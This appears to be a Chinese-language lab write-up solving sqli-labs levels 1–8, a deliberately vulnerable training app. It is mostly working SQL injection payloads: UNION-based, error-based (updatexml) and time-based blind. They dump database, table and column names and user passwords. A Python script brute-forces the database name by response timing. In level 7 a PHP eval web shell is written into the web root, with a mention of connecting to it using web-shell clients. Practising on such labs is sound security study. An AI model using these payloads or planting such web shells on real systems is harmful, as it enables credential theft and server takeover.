sqli-libs
sql注入思路
判读是否存在注入–判断注入类型–猜解字段数–查看输出字段位置–尝试爆出数据
获取数据库名–获取表名–获取列名–获取数据
less–1
页面让我们输入一个id值
我们用get的请求方式输入看看
测试这里是否有注入点
?id=1'
出现报错情况,说明这里有注入点
判断注入类型
?id=1' and 1=1--+
为正常页面
?id=1' and 1=2--+
页面显示不正常
则为,字符型注入
猜测他的查询语句为
select *from * where ID='id' limit 0,1;
查询字段数
?id=1' order by 3--+
当order by 3时,页面正常显示
当order by 4时,页面报错
说明,字段数为3
查看,输出的是哪一位数
?id=-1' union select 1,2,3--+
可以看到,输出的字段为2,3
我们可以是数据在2,3处显示出来
爆数据库名
?id=-1' union select 1,database(),version()--+
数据库名为security,版本为5.5.53
爆表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+
通过查询information_schema表来查询
爆列名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name= 'users'),3--+
爆用户名密码
?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+
less–2
输入id看看
判断注入点
?id=1'
存在注入
判断注入类型
?id=1 and 1=1
?id=1 and 1=2
所以为,数字型注入
判断字段数
判断输出的字段位置
。。
。。
等都与less-1一致,不赘述
查询数据库名
?id=-1 union select 1,database(),user()
其他查询与less–1一致
less–3
?id=1'
出来的错误提示,有一个)
说明查询语句类似于
select * from * where ID=('id')
所以,我们需要闭合’'与()
构造语句
?id=1')--+
正常
可以通过此方式绕过
?id=-1') union select 1,database(),user()--+
less–4
?id=1'
发现单引号并不报错
使用双引号试试看
?id=1"
报错,并且提示我们要闭合双引号
构造语句
?id=-1") union select 1,database(),user()--+
less–5
发现这一关,并不会输出数据
涉及到盲注的知识
尝试使用报错注入
爆数据库
?id=1' and (updatexml(1,concat(0x7e,(database()),0x7e),1))--+
成功爆出数据
爆表名
?id=1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))--+
爆列名
?id=1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1))--+
爆出数据
?id=1' and (updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1))--+
less–6
查看正常页面
同样也是盲注
可以使用双引号闭合
我们这关尝试使用时间注入
?id=1" and sleep(if(length(database())=8,5,0))--+
耗时有6秒,则说明数据库名长度为8s
爆数据库名脚本
import requests
import time
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0'}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
global length
for l in range(1,20):
Url = 'http://192.168.48.134/sqli-labs-master/Less-6/?id=1" and if(length(database())>{0},1,sleep(3))--+'
UrlFormat = Url.format(l) #format()函数使用
start_time0 = time.time() #发送请求前的时间赋值
requests.get(UrlFormat,headers=headers)
if time.time() - start_time0 > 2: #判断正确的数据库长度
print('database length is ' + str(l))
global length
length = l #把数据库长度赋值给全局变量
break
else:
pass
for i in range(1,length+1):
for char in chars:
charAscii = ord(char) #char转换为ascii
url = 'http://192.168.48.134/sqli-labs-master/Less-6/?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
urlformat = url.format(i,charAscii)
start_time = time.time()
requests.get(urlformat,headers=headers)
if time.time() - start_time > 2:
database+=char
print('database: ',database)
break
else:
pass
print('database is ' + database)
less–7
正常页面
它提示为输出到一个文件
先尝试把绕过
?id=1'))--+
把输出导入到文件中
?id=1')) union select 1,2,3 into outfile "c:\\1.txt"--+
虽然提示错误,但是可以查看到对应目录下生成了一个1.txt文件
打开可以查看到数据
尝试将一句话木马写进
?id=1')) union select 1,2,"<?php @eval($_POST['attack']);?>" into outfile "C:\\phpstudy\\WWW\\1.php"--+
查看生成的本地文件
一句话木马成功写入,可以使用菜刀、蚁剑等连接
less–8
正常页面
加单引号查看
页面有区别,但是不会报出错误
所以此处可能不会显示报错,故不可使用报错注入
可以考虑使用时间注入
同less–6